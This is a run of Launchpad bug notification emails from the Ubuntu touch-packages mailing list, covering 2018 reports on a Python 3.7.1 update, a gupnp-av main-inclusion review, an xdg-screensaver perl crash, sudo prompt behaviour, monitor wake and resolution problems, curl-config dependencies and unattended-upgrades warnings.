[Touch-packages] [Bug 1799202] Re: SRU: update Python 3.7 to the 3.7.1 release
** Also affects: python3-defaults (Ubuntu) Importance: Undecided Status: New -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to python3-defaults in Ubuntu. https://bugs.launchpad.net/bugs/1799202 Title: SRU: update Python 3.7 to the 3.7.1 release Status in python3-defaults package in Ubuntu: New Status in python3-stdlib-extensions package in Ubuntu: Fix Committed Status in python3.7 package in Ubuntu: Fix Committed Status in python3-defaults source package in Bionic: New Status in python3-stdlib-extensions source package in Bionic: Fix Committed Status in python3.7 source package in Bionic: Fix Committed Status in python3-defaults source package in Cosmic: New Status in python3-stdlib-extensions source package in Cosmic: Fix Committed Status in python3.7 source package in Cosmic: Fix Committed Bug description: SRU: update Python 3.7 to the 3.7.1 release. 3.7.1 is the first maintenance release, update both 18.04 LTS and 18.10 to the release. For 18.10 it's just one bug fix compared to the release candidate 2. python3-stdlib-extensions also updates the modules to the 3.6.7 release for Python 3.6. Acceptance Criteria: The package builds, and the test suite doesn't show regressions. The test suite passes in the autopkg tests. Regression Potential: Python 3.7 isn't used by default, so we don't have many default users. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/python3-defaults/+bug/1799202/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1785629] Re: [MIR] gupnp-av
* -doc package: I think we should promote it as well in main, if the -dev is promoted. If so, this dep should be fixed: Depends: lynx | www-browser (first is lynx, in universe, www-browser is a virtual package not fullfiled?). In addition, it ships the doc in devhelp format (despite symlink from doc/ to gtk-doc/). I don't think anyway that those are needed, we don't tend to have -doc dep on a browser implementation. * Same remark than for the other MIR: let's look at enabling the testsuite during build + autopkgtests * Same kind of lintian warnings than for gupnp-dlna worths fixing or override + comments IMHO (gir-missing-typelib-dependency and typelib-package-name-does-not-match) Minor: - VCS could be updated in debian/control* Pasting from gupnp-dlna: I think some of the stuff should be addressed like test running before I give my +1. This part doesn't deal directly with the network, but as we are looking at the whole dlna stack, I will defer to the security team for a review from a security perspective. I didn't spot anything crazy in the code itself, but I prefer deferring to experts -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to gupnp-av in Ubuntu. https://bugs.launchpad.net/bugs/1785629 Title: [MIR] gupnp-av Status in gupnp-av package in Ubuntu: New Bug description: * Availability Builds on all supported architectures in Ubuntu and on sync from Debian * Rationale We would like to enable dlna sharing of media files, which is a GNOME upstream feature and relying on rygel which depends on the gupnp libraries, including the gupnp-dlna one * Security No CVE/known security issue * Quality assurance - the desktop-packages team is subscribed to the package - the bug lists in upstream, the Debian PTS and launchpad are empty - upstream has a testsuit which is not being used during build, we are going to look at changing that * Dependendies The package uses standard desktop libraries that are already in main (gstreamer, glib) * Standards compliance the package is using standard packaging (dh10), the standards-version is 3.9.8, the package is in sync from Debian * Maintainance Upstream is active and the desktop team is going to look after the package in ubuntu To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gupnp-av/+bug/1785629/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1743216] Re: perl crashed with SIGABRT in _dbus_abort()
I installed xdg-utils 1.1.2-1ubuntu2.3 from Ubuntu:18.04/bionic- proposed. We will see if it still crashes or not. Thank you Iain for your work. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to perl in Ubuntu. https://bugs.launchpad.net/bugs/1743216 Title: perl crashed with SIGABRT in _dbus_abort() Status in perl package in Ubuntu: Invalid Status in xdg-utils package in Ubuntu: Fix Released Status in perl source package in Bionic: Confirmed Status in xdg-utils source package in Bionic: Fix Committed Status in perl source package in Cosmic: Invalid Status in xdg-utils source package in Cosmic: Fix Released Status in xdg-utils package in Debian: Unknown Bug description: [ Description ] When xdg-screensaver suspend refers to a window with invalid UTF-8 in its title, it will spawn a perl process that crashes with an assertion: dbus[19455]: arguments to dbus_message_iter_append_basic() were incorrect, assertion "_dbus_check_is_valid_utf8 (*string_p)" failed in file ../../../dbus/dbus-message.c line 2754. This is normally a bug in some application using the D-Bus library. [ Fix ] Use decode() from the Encode module to replace invalid character sequences with U+FFFD, the replacement symbol. This is not a new dependency as Encode has been a perl core module since 5.8. [ QA ] I don't know how to get a window with such a title, so we can do two things. 1) 1. $ sudo -e $(which xdg-screensaver) # hack the script 2. Find the line "# Inhibit idle detection (flags = 8) with window name and ID." 3. Find the } on its own above that. Insert a new line afterwards and set the window name to be the same as the one in this bug, by pasting the code $window_name = "\253\062\065 Meter fehlten bis zur Katastrophe\273 - News Panorama: Vermischtes - tagesanzeiger.ch - Mozilla Firefox"; 4. Save and exit 5. $ xwininfo 6. click some window, and copy the "Window id", which will be 0x 7. $ xdg-screensaver suspend In the bad case (before this bug is fixed) it should crash, and in the good case it should work. 8. Undo what you just did by running $ xdg-screensaver resume 2) Observe that the error bucket https://errors.ubuntu.com/problem/b386f287972198daca290969b0ea5182ce8e5d52 has a reduction in report rate with the new versions. [ Regression potential ] If the code is bad then the window name passed to Inhibit() could be wrong. That shouldn't matter too much. If it is really bad then the program might crash for everybody and we'll see an increase in errors. [ Original description ] Errors Bucket - https://errors.ubuntu.com/problem/b386f287972198daca290969b0ea5182ce8e5d52 crashed after launching the software updater ProblemType: CrashDistroRelease: Ubuntu 18.04 Package: perl-base 5.26.1-4 ProcVersionSignature: Ubuntu 4.14.0-16.19-generic 4.14.12 Uname: Linux 4.14.0-16-generic x86_64 ApportVersion: 2.20.8-0ubuntu6 Architecture: amd64 CurrentDesktop: ubuntu:GNOME Date: Sun Jan 14 13:30:52 2018 ExecutablePath: /usr/bin/perl InstallationDate: Installed on 2017-12-28 (17 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Alpha amd64 (20171201) Signal: 6SourcePackage: perl StacktraceTop: _dbus_abort () from /lib/x86_64-linux-gnu/libdbus-1.so.3 _dbus_warn_check_failed () from /lib/x86_64-linux-gnu/libdbus-1.so.3 dbus_message_iter_append_basic () from /lib/x86_64-linux-gnu/libdbus-1.so.3 ?? () from /usr/lib/x86_64-linux-gnu/perl5/5.26/auto/Net/DBus/DBus.so Perl_pp_entersub () Title: perl crashed with SIGABRT in _dbus_abort() UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin lxd plugdev sambashare sudo To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/perl/+bug/1743216/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1370953] Re: layout switch is delayed
I'm experiencing this bug on elementary OS 5.0. After looking through different reports I can see that it comes from ubuntu. Sad that there seems to be no progress on its resolution after several years :( Did somebody found a workaround with setxkbmap or something else? -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to console-setup in Ubuntu. https://bugs.launchpad.net/bugs/1370953 Title: layout switch is delayed Status in console-setup package in Ubuntu: Confirmed Status in gconf package in Ubuntu: Confirmed Bug description: I have two layouts configured En and Ru with Ctrl-Shift as layout switch combo. When I start typing in wrong layout I notice it, hit Ctrl-Shift and type again, but more often than not it is wrong layout again. I repeat the action, but there is no luck. On the third attemt it usually either works OR the first letter is still in wrong layout, but the second is in correct one - i.e. layout switches as I type. The explanation for this is that layout switch takes very unreasonable time - much longer than it is needed to move your fingers from one key to the other. Each time I encounter the error I retry slower so on the third attempt it is slow enough to actually recognize that layout switch is happening, but with a delay. This is extremely annoying and unacceptable. If someone knows how to work around it - please post your suggestions here. It would be nice to have a solution for 3+ layouts setup as well. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/console-setup/+bug/1370953/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1799918] [NEW] Desktop Dock is invisible after relogin
Public bug reported: # Reproduction Instructions 1. Lock screen by pressing WIN+L 2. Relogin to Ubuntu Desktop # Current result The application dock is invisible. # Expected result The application dock is visible. HINT: I have 3 screens connected and moved the dock to the second screen. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: ubuntu-desktop 1.417 ProcVersionSignature: Ubuntu 4.15.0-36.39-generic 4.15.18 Uname: Linux 4.15.0-36-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 CurrentDesktop: ubuntu:GNOME Date: Thu Oct 25 11:33:47 2018 InstallationDate: Installed on 2018-10-19 (6 days ago) InstallationMedia: Ubuntu 18.04.1 LTS "Bionic Beaver" - Release amd64 (20180725) ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=de_DE.UTF-8 SHELL=/bin/bash SourcePackage: ubuntu-meta UpgradeStatus: No upgrade log present (probably fresh install) ** Affects: ubuntu-meta (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-bug bionic third-party-packages -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to ubuntu-meta in Ubuntu. https://bugs.launchpad.net/bugs/1799918 Title: Desktop Dock is invisible after relogin Status in ubuntu-meta package in Ubuntu: New Bug description: # Reproduction Instructions 1. Lock screen by pressing WIN+L 2. Relogin to Ubuntu Desktop # Current result The application dock is invisible. # Expected result The application dock is visible. HINT: I have 3 screens connected and moved the dock to the second screen. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: ubuntu-desktop 1.417 ProcVersionSignature: Ubuntu 4.15.0-36.39-generic 4.15.18 Uname: Linux 4.15.0-36-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 CurrentDesktop: ubuntu:GNOME Date: Thu Oct 25 11:33:47 2018 InstallationDate: Installed on 2018-10-19 (6 days ago) InstallationMedia: Ubuntu 18.04.1 LTS "Bionic Beaver" - Release amd64 (20180725) ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=de_DE.UTF-8 SHELL=/bin/bash SourcePackage: ubuntu-meta UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/ubuntu-meta/+bug/1799918/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1799857] Re: sudo -p '' displays a password prompt which it shouldn't
Confirmed incorrect behavior in bionic. xenial and cosmic behave correctly. ** Changed in: sudo (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to sudo in Ubuntu. https://bugs.launchpad.net/bugs/1799857 Title: sudo -p '' displays a password prompt which it shouldn't Status in sudo package in Ubuntu: Confirmed Bug description: I have small script that invokes another shell script as root thus: #!/bin/bash echo "mypass" | sudo -p '' -S /usr/StorMan/StorMan.sh when running in 16.04 LTS this didn't display a password prompt which I understand to be correct behaviour. Since upgrading to 18.04.1 LTS the output looks like: amonra@Charon:~$ ./storman [sudo] password for amonra: which as far as I can determine is not correct. Thanks Dave ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: sudo 1.8.21p2-3ubuntu1 ProcVersionSignature: Ubuntu 4.15.0-38.41-generic 4.15.18 Uname: Linux 4.15.0-38-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 CurrentDesktop: LXDE Date: Thu Oct 25 03:07:27 2018 InstallationDate: Installed on 2016-03-28 (940 days ago) InstallationMedia: Ubuntu-Server 14.04.4 LTS "Trusty Tahr" - Release amd64 (20160217.1) SourcePackage: sudo UpgradeStatus: Upgraded to bionic on 2018-10-22 (2 days ago) VisudoCheck: /etc/sudoers: parsed OK /etc/sudoers.d/README: parsed OK modified.conffile..etc.sudoers: [inaccessible: [Errno 13] Permission denied: '/etc/sudoers'] modified.conffile..etc.sudoers.d.README: [inaccessible: [Errno 13] Permission denied: '/etc/sudoers.d/README'] To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/sudo/+bug/1799857/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1752053] Re: nvidia-390 fails to boot graphical display
You're welcome, Ccdisle. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to mesa in Ubuntu. https://bugs.launchpad.net/bugs/1752053 Title: nvidia-390 fails to boot graphical display Status in mesa package in Ubuntu: Fix Released Status in nvidia-graphics-drivers-390 package in Ubuntu: Fix Released Status in xserver-xorg-video-nouveau package in Ubuntu: Invalid Bug description: I'm using Bionic with the new 4.15 kernel. I've been using the nvidia-384 driver with no problem for a while. Today I issued "sudo apt-get upgrade" and I was prompted to upgrade the nvidia driver to the nvidia-390. After installing the driver and rebooting, I was only able to boot in to the tty terminal. The graphical display failed to boot. I have had similar problems with nvidia driver version 390 with Arch Linux and with Open Suse Tumbleweed. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/mesa/+bug/1752053/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1794476] Re: curl-config uses krb5-config, but libcurl4-openssl-dev only Suggests libkrb5-dev
Are you running curl-config with particular arguments? When I install libcurl4-openssl-dev on a fresh 18.04 system, running curl-config with no arguments gives no errors. ** Changed in: curl (Ubuntu) Status: New => Incomplete -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to curl in Ubuntu. https://bugs.launchpad.net/bugs/1794476 Title: curl-config uses krb5-config, but libcurl4-openssl-dev only Suggests libkrb5-dev Status in curl package in Ubuntu: Incomplete Bug description: Attempt to run curl-config on the system, on which libkrb5-dev is not installed, results in error /usr/bin/curl-config: krb5-config: not found At the same time, libcurl4-openssl-dev only Suggests libkrb5-dev. Either curl-config should gracefully handle lack of krb5-config, or the dependency should be stronger. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: libcurl4-openssl-dev 7.58.0-2ubuntu3.3 ProcVersionSignature: Ubuntu 4.15.0-33.36-lowlatency 4.15.18 Uname: Linux 4.15.0-33-lowlatency x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.20.9-0ubuntu7.3 Architecture: amd64 CurrentDesktop: KDE Date: Wed Sep 26 11:25:10 2018 EcryptfsInUse: Yes InstallationDate: Installed on 2013-02-18 (2046 days ago) InstallationMedia: Ubuntu-Server 12.04.1 LTS "Precise Pangolin" - Release amd64 (20120817.3) SourcePackage: curl UpgradeStatus: Upgraded to bionic on 2018-04-11 (168 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/curl/+bug/1794476/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1799920] [NEW] External Dell P2715Q doesn't wake up from standby anymore after 18.04 -> 18.10 upgrade
Public bug reported: Hi, Since upgrading to 18.10, my Dell P2715Q external screen (connected to a Dell XPS 13 9343 laptop) fails to wakeup after a period of inactivity: - leave the laptop idle for a while, gnome screen lock will take over and shut down the internal panel & external screen (it enters power saving mode). Same behaviour as 18.04. - however, if I come back after an hour or so and move the mouse or press a key, only the internal panel wakes up. The external screen remains blank (Xorg probably think that the external screen is on as the password prompt of gnome screen lock will not be visible on the internal panel, it's probably displayed on the blank surface -- I have to enter my password blind to get back to the desktop). Running xrandr without any argument sometimes helps getting the external screen to turn on. When it does not, I have to turn the screen OFF and ON again. I haven't seen any error message in dmesg or Xorg.0.log. $ uname -a Linux Aurora 4.18.0-10-generic #11-Ubuntu SMP Thu Oct 11 15:13:55 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux $ lspci -vv 00:00.0 Host bridge: Intel Corporation Broadwell-U Host Bridge -OPI (rev 09) Subsystem: Dell Broadwell-U Host Bridge -OPI Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx- Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=fast >TAbort- SERR- Kernel driver in use: bdw_uncore 00:02.0 VGA compatible controller: Intel Corporation HD Graphics 5500 (rev 09) (prog-if 00 [VGA controller]) Subsystem: Dell HD Graphics 5500 Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx+ Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=fast >TAbort- SERR- Kernel driver in use: i915 Kernel modules: i915 00:03.0 Audio device: Intel Corporation Broadwell-U Audio Controller (rev 09) Subsystem: Dell Broadwell-U Audio Controller Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx+ Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- Kernel driver in use: snd_hda_intel Kernel modules: snd_hda_intel 00:04.0 Signal processing controller: Intel Corporation Broadwell-U Processor Thermal Subsystem (rev 09) Subsystem: Dell Broadwell-U Processor Thermal Subsystem Control: I/O- Mem+ BusMaster- SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx- Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=fast >TAbort- SERR- Kernel driver in use: proc_thermal Kernel modules: processor_thermal_device 00:14.0 USB controller: Intel Corporation Wildcat Point-LP USB xHCI Controller (rev 03) (prog-if 30 [XHCI]) Subsystem: Dell Wildcat Point-LP USB xHCI Controller Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx+ Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- Kernel driver in use: xhci_hcd 00:16.0 Communication controller: Intel Corporation Wildcat Point-LP MEI Controller #1 (rev 03) Subsystem: Dell Wildcat Point-LP MEI Controller Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx- Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- Kernel modules: mei_me 00:1b.0 Audio device: Intel Corporation Wildcat Point-LP High Definition Audio Controller (rev 03) Subsystem: Dell Wildcat Point-LP High Definition Audio Controller Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx+ Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- Kernel driver in use: snd_hda_intel Kernel modules: snd_hda_intel 00:1c.0 PCI bridge: Intel Corporation Wildcat Point-LP PCI Express Root Port #1 (rev e3) (prog-if 00 [Normal decode]) Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx+ Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- TAbort- Reset- FastB2B- PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn- Capabilities: Kernel driver in use: pcieport 00:1c.3 PCI bridge: Intel Corporation Wildcat Point-LP PCI Express Root Port #4 (rev e3) (prog-if 00 [Normal decode]) Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx+ Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- TAbort- Reset- FastB2B- PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn- Capabilities: Kernel driver in use: pcieport 00:1d.0 USB controller: Intel Corporation Wildcat Point-LP USB EHCI Controller (rev 03) (prog-if 20 [EHCI]) Subsystem: Dell Wi
[Touch-packages] [Bug 1799920] Re: External Dell P2715Q doesn't wake up from standby anymore after 18.04 -> 18.10 upgrade
Just got the external screen in the same state again (ie, blank) after leaving the desk for 5-10 minutes. While in that state, the external screens tells that it doesn't receive any signal. Switching it's input from it's usual DP input to another one, and switching back again does restore the image. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1799920 Title: External Dell P2715Q doesn't wake up from standby anymore after 18.04 -> 18.10 upgrade Status in xorg package in Ubuntu: New Bug description: Hi, Since upgrading to 18.10, my Dell P2715Q external screen (connected to a Dell XPS 13 9343 laptop) fails to wakeup after a period of inactivity: - leave the laptop idle for a while, gnome screen lock will take over and shut down the internal panel & external screen (it enters power saving mode). Same behaviour as 18.04. - however, if I come back after an hour or so and move the mouse or press a key, only the internal panel wakes up. The external screen remains blank (Xorg probably think that the external screen is on as the password prompt of gnome screen lock will not be visible on the internal panel, it's probably displayed on the blank surface -- I have to enter my password blind to get back to the desktop). Running xrandr without any argument sometimes helps getting the external screen to turn on. When it does not, I have to turn the screen OFF and ON again. I haven't seen any error message in dmesg or Xorg.0.log. $ uname -a Linux Aurora 4.18.0-10-generic #11-Ubuntu SMP Thu Oct 11 15:13:55 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux $ lspci -vv 00:00.0 Host bridge: Intel Corporation Broadwell-U Host Bridge -OPI (rev 09) Subsystem: Dell Broadwell-U Host Bridge -OPI Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx- Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=fast >TAbort- SERR- Kernel driver in use: bdw_uncore 00:02.0 VGA compatible controller: Intel Corporation HD Graphics 5500 (rev 09) (prog-if 00 [VGA controller]) Subsystem: Dell HD Graphics 5500 Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx+ Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=fast >TAbort- SERR- Kernel driver in use: i915 Kernel modules: i915 00:03.0 Audio device: Intel Corporation Broadwell-U Audio Controller (rev 09) Subsystem: Dell Broadwell-U Audio Controller Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx+ Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- Kernel driver in use: snd_hda_intel Kernel modules: snd_hda_intel 00:04.0 Signal processing controller: Intel Corporation Broadwell-U Processor Thermal Subsystem (rev 09) Subsystem: Dell Broadwell-U Processor Thermal Subsystem Control: I/O- Mem+ BusMaster- SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx- Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=fast >TAbort- SERR- Kernel driver in use: proc_thermal Kernel modules: processor_thermal_device 00:14.0 USB controller: Intel Corporation Wildcat Point-LP USB xHCI Controller (rev 03) (prog-if 30 [XHCI]) Subsystem: Dell Wildcat Point-LP USB xHCI Controller Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx+ Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- Kernel driver in use: xhci_hcd 00:16.0 Communication controller: Intel Corporation Wildcat Point-LP MEI Controller #1 (rev 03) Subsystem: Dell Wildcat Point-LP MEI Controller Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx- Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- Kernel modules: mei_me 00:1b.0 Audio device: Intel Corporation Wildcat Point-LP High Definition Audio Controller (rev 03) Subsystem: Dell Wildcat Point-LP High Definition Audio Controller Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx+ Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- Kernel driver in use: snd_hda_intel Kernel modules: snd_hda_intel 00:1c.0 PCI bridge: Intel Corporation Wildcat Point-LP PCI Express Root Port #1 (rev e3) (prog-if 00 [Normal decode]) Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx+ Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- TAbort- Reset- FastB2B- PriDiscTmr- SecDiscTmr- DiscTmrStat-
[Touch-packages] [Bug 1799613] Re: In kernel 4.14.59, monitor resolution is detected correctly. In kernels after that, they are not detected correctly.
** Also affects: xorg (Ubuntu) Importance: Undecided Status: New -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1799613 Title: In kernel 4.14.59, monitor resolution is detected correctly. In kernels after that, they are not detected correctly. Status in linux package in Ubuntu: Incomplete Status in xorg package in Ubuntu: New Bug description: dpkg --list | grep linux-image ii linux-image-4.15.0-36-generic 4.15.0-36.39 amd64Signed kernel image generic ii linux-image-4.15.0-38-generic 4.15.0-38.41 amd64Signed kernel image generic ii linux-image-generic 4.15.0.38.40 amd64Generic Linux kernel image ii linux-image-unsigned-4.14.59-041459-generic 4.14.59-041459.201807280929 amd64Linux kernel image for version 4.14.59 on 64 bit x86 SMP Booting from GRUB into 4.14.59 allows my two monitors to run at their native resolution, 2560x1440. Any newer kernel does not allow my two monitors to run at their native resolution, only allowing up to 1920x1200. uname -a Linux blackbox 4.14.59-041459-generic #201807280929 SMP Sat Jul 28 09:32:10 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1799613/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1639558] Re: message regarding ignoring 50unattended-upgrades.ucf-dist is annoying
Unattended-upgrade uses ufc(1) to manage the related conffiles and ucf creates those copies during the update. Starting with u-u 1.4 README.md recommends creating separate configuration files in /etc/apt/apt.conf.d to avoid updates to conflict with local changes. Latest apt ignores the .ucf-* files which is the right thing IMO and either giving warning or not giving a warning is OK on apt's side. ** Changed in: unattended-upgrades (Ubuntu) Status: Confirmed => Invalid -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to unattended-upgrades in Ubuntu. https://bugs.launchpad.net/bugs/1639558 Title: message regarding ignoring 50unattended-upgrades.ucf-dist is annoying Status in apt package in Ubuntu: Fix Released Status in unattended-upgrades package in Ubuntu: Invalid Status in apt package in Debian: New Bug description: Regression problem, (in the sense it didn't happen before the update although not directly from the code changes) Since update to 0.90ubuntu0.1 (ubuntu 16.04) I am constantly now getting this notification performing anything with apt. N: Ignoring file '50unattended-upgrades.ucf-dist' in directory '/etc/apt/apt.conf.d/' as it has an invalid filename extension Secondly I am also now getting this, triggering apport bug report on every boot (program is not checking/creating a dir before trying to write to log in it) syslog.1:Nov 6 10:36:26 PortegeR830 apt.systemd.daily[815]: FileNotFoundError: [Errno 2] No such file or directory: '/var/log /unattended-upgrades/unattended-upgrades-dpkg.log' ProblemType: Bug DistroRelease: Ubuntu 16.04 Package: unattended-upgrades 0.90ubuntu0.1 ProcVersionSignature: Ubuntu 4.4.0-45.66-generic 4.4.21 Uname: Linux 4.4.0-45-generic x86_64 .var.log.unattended-upgrades.unattended-upgrades.log: 2016-11-06 10:36:05,682 INFO Initial blacklisted packages: 2016-11-06 10:36:05,682 INFO Initial whitelisted packages: 2016-11-06 10:36:05,683 INFO Starting unattended upgrades script 2016-11-06 10:36:05,683 INFO Allowed origins are: ['o=Ubuntu,a=xenial-security', 'o=Ubuntu,a=xenial-updates', 'o=Ubuntu,a=xenial-backports'] 2016-11-06 10:36:21,473 INFO Packages that will be upgraded: ApportVersion: 2.20.1-0ubuntu2.1 Architecture: amd64 CurrentDesktop: Unity Date: Sun Nov 6 10:59:28 2016 PackageArchitecture: all SourcePackage: unattended-upgrades UpgradeStatus: No upgrade log present (probably fresh install) modified.conffile..etc.apt.apt.conf.d.10periodic: APT::Periodic::Update-Package-Lists "1"; APT::Periodic::Download-Upgradeable-Packages "1"; APT::Periodic::AutocleanInterval "7"; APT::Periodic::Unattended-Upgrade "1"; mtime.conffile..etc.apt.apt.conf.d.10periodic: 2015-05-30T16:31:54.137714 mtime.conffile..etc.apt.apt.conf.d.50unattended-upgrades: 2015-05-30T16:31:21.861600 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1639558/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1799613] Re: In kernel 4.14.59, monitor resolution is detected correctly. In kernels after that, they are not detected correctly.
